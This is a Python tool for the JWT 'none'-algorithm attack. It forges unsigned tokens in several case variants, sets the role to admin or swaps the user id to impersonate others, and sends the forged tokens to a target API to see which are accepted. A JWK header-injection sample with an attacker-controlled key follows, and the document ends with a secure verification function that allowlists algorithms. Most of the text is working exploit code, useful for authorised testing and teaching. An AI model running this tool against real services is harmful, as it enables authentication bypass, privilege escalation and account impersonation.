"""JWT None Algorithm Attack Tool
Crafts JWT tokens with the 'none' algorithm to test for
signature verification bypass vulnerabilities.
"""
import base64
import json
import requests
import sys
from typing import Optional
class JWTNoneAttack:
NONE_VARIANTS = [
"none",
"None",
"NONE",
"nOnE",
"noNe",
"NoNe",
"nONE",
"nonE",
]
def __init__(self, target_url: str, original_token: str):
self.target_url = target_url
self.original_token = original_token
self.original_header, self.original_payload = self._decode_token(original_token)
def _base64url_encode(self, data: bytes) -> str:
"""Base64URL encode without padding."""
return base64.urlsafe_b64encode(data).rstrip(b"=").decode("utf-8")
def _base64url_decode(self, data: str) -> bytes:
"""Base64URL decode with padding restoration."""
padding = 4 - len(data) % 4
if padding != 4:
data += "=" * padding
return base64.urlsafe_b64decode(data)
def _decode_token(self, token: str) -> tuple:
"""Decode JWT header and payload."""
parts = token.split(".")
header = json.loads(self._base64url_decode(parts[0]))
payload = json.loads(self._base64url_decode(parts[1]))
return header, payload
def craft_none_token(self, modified_payload: dict, alg_variant: str = "none") -> str:
"""Craft a JWT with the none algorithm and modified payload."""
header = {"alg": alg_variant, "typ": "JWT"}
header_encoded = self._base64url_encode(json.dumps(header).encode())
payload_encoded = self._base64url_encode(json.dumps(modified_payload).encode())
return f"{header_encoded}.{payload_encoded}."
def craft_privilege_escalation(self, role_field: str = "role", admin_value: str = "admin") -> list:
"""Create tokens with escalated privileges using all none variants."""
tokens = []
modified_payload = dict(self.original_payload)
modified_payload[role_field] = admin_value
for variant in self.NONE_VARIANTS:
token = self.craft_none_token(modified_payload, variant)
tokens.append({"variant": variant, "token": token})
return tokens
def craft_user_impersonation(self, target_user_id: str, user_field: str = "sub") -> str:
"""Create a token impersonating another user."""
modified_payload = dict(self.original_payload)
modified_payload[user_field] = target_user_id
return self.craft_none_token(modified_payload)
def test_none_variants(self, endpoint: str = "/api/profile", headers: Optional[dict] = None) -> list:
"""Test all none algorithm variants against the target."""
results = []
base_headers = headers or {}
for variant in self.NONE_VARIANTS:
modified_payload = dict(self.original_payload)
modified_payload["role"] = "admin"
token = self.craft_none_token(modified_payload, variant)
test_headers = dict(base_headers)
test_headers["Authorization"] = f"Bearer {token}"
try:
response = requests.get(f"{self.target_url}{endpoint}", headers=test_headers, timeout=10)
result = {
"variant": variant,
"status_code": response.status_code,
"accepted": response.status_code == 200,
"response_length": len(response.content),
}
results.append(result)
if response.status_code == 200:
print(f" [VULNERABLE] alg='{variant}' -> {response.status_code}")
else:
print(f" [SAFE] alg='{variant}' -> {response.status_code}")
except requests.exceptions.RequestException as e:
results.append({"variant": variant, "status_code": 0, "accepted": False, "error": str(e)})
return results
def test_empty_signature_variants(self) -> list:
"""Test different empty signature formats."""
modified_payload = dict(self.original_payload)
modified_payload["role"] = "admin"
header = {"alg": "none", "typ": "JWT"}
header_encoded = self._base64url_encode(json.dumps(header).encode())
payload_encoded = self._base64url_encode(json.dumps(modified_payload).encode())
variants = [
f"{header_encoded}.{payload_encoded}.",
f"{header_encoded}.{payload_encoded}",
f"{header_encoded}.{payload_encoded}.AA==",
]
results = []
for token in variants:
results.append({"token_format": token[-20:], "token": token})
return results
def main():
if len(sys.argv) < 3:
print("Usage: python jwt_none_attack.py <target_url> <original_token>")
print("Example: python jwt_none_attack.py https://api.example.com eyJhbG...")
sys.exit(1)
target_url = sys.argv[1]
original_token = sys.argv[2]
attacker = JWTNoneAttack(target_url, original_token)
print(f"\nOriginal Token Header: {attacker.original_header}")
print(f"Original Token Payload: {attacker.original_payload}")
print(f"\n{'=' * 60}")
print("Testing None Algorithm Variants")
print(f"{'=' * 60}")
results = attacker.test_none_variants()
vulnerable = [r for r in results if r.get("accepted")]
if vulnerable:
print(f"\n[!] VULNERABLE: {len(vulnerable)} variant(s) accepted!")
print("[!] The server does not properly validate JWT signatures")
else:
print(f"\n[+] SECURE: All none algorithm variants were rejected")
if __name__ == "__main__":
main()
{
"alg": "RS256",
"typ": "JWT",
"jwk": {
"kty": "RSA",
"n": "<attacker-controlled-key>",
"e": "AQAB"
}
}
import jwt
def verify_token_secure(token: str, secret_key: str) -> dict:
"""Verify JWT with explicit algorithm allowlist."""
try:
payload = jwt.decode(
token,
secret_key,
algorithms=["HS256"],
options={
"require": ["exp", "iat", "sub"],
"verify_exp": True,
"verify_iat": True,
},
)
return payload
except jwt.InvalidAlgorithmError:
raise ValueError("Invalid token algorithm")
except jwt.ExpiredSignatureError:
raise ValueError("Token expired")
except jwt.InvalidTokenError:
raise ValueError("Invalid token")
